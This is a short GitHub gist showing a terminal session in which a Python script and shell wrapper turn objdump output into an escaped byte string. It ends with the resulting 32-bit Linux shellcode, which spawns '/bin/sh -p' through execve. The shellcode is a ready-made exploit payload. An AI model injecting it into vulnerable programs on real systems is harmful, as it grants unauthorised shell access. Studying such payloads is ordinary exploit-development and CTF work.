Skip to content

Instantly share code, notes, and snippets.

@fgsahoward
Created June 11, 2018 15:28
Show Gist options
  • Save fgsahoward/17ad236319d5d7046335a9f87d3b7b4c to your computer and use it in GitHub Desktop.
Save fgsahoward/17ad236319d5d7046335a9f87d3b7b4c to your computer and use it in GitHub Desktop.
[howard@sterling shellcodes]$ cat ../tools/otosc.py
#!/usr/bin/python
##
# Takes as input the ouput from:
# objdump -Dz | grep "[0-9a-f]*?:" | cut -f 1,2
import sys
def main(inputs, outputfile):
lines = [x.strip(" ") for x in inputs.split("\n")]
barray = b""
for line in lines:
line = line.replace("\t", " ")
datas = [x.strip(" :") for x in line.split(" ")]
index = int(datas[0], 16)
barray = barray[:index] + bytes([int(x, 16) for x in datas[1:]])
with open(outputfile, "w") as fd:
for byte in barray:
fd.write("\\x{0}".format(hex(byte)[2:].zfill(2)))
fd.write("\n")
if __name__ == '__main__':
if len(sys.argv) != 3:
print ("Usage: {0} inputstring outputfile".format(sys.argv[0]))
exit()
main(sys.argv[1], sys.argv[2])
[howard@sterling shellcodes]$ cat ../tools/otosc.sh
pathtofile=$(dirname "$0")
${pathtofile}/otosc.py "$(objdump -Dz $1 | grep "[0-9a-f]:" | cut -f 1,2)" $2
[howard@sterling shellcodes]$ ../tools/otosc.sh obj/shell3_32.o shell3_32.sc
[howard@sterling shellcodes]$ cat shell3_32.sc
\x31\xff\x57\xeb\x2b\x8b\x3c\x24\x31\xd2\xb2\x41\x30\x57\x07\x8b\x7c\x24\x04\x30\x57\x02\x8b\x1c\x24\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\xe8\xee\xff\xff\xff\x2d\x70\x41
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment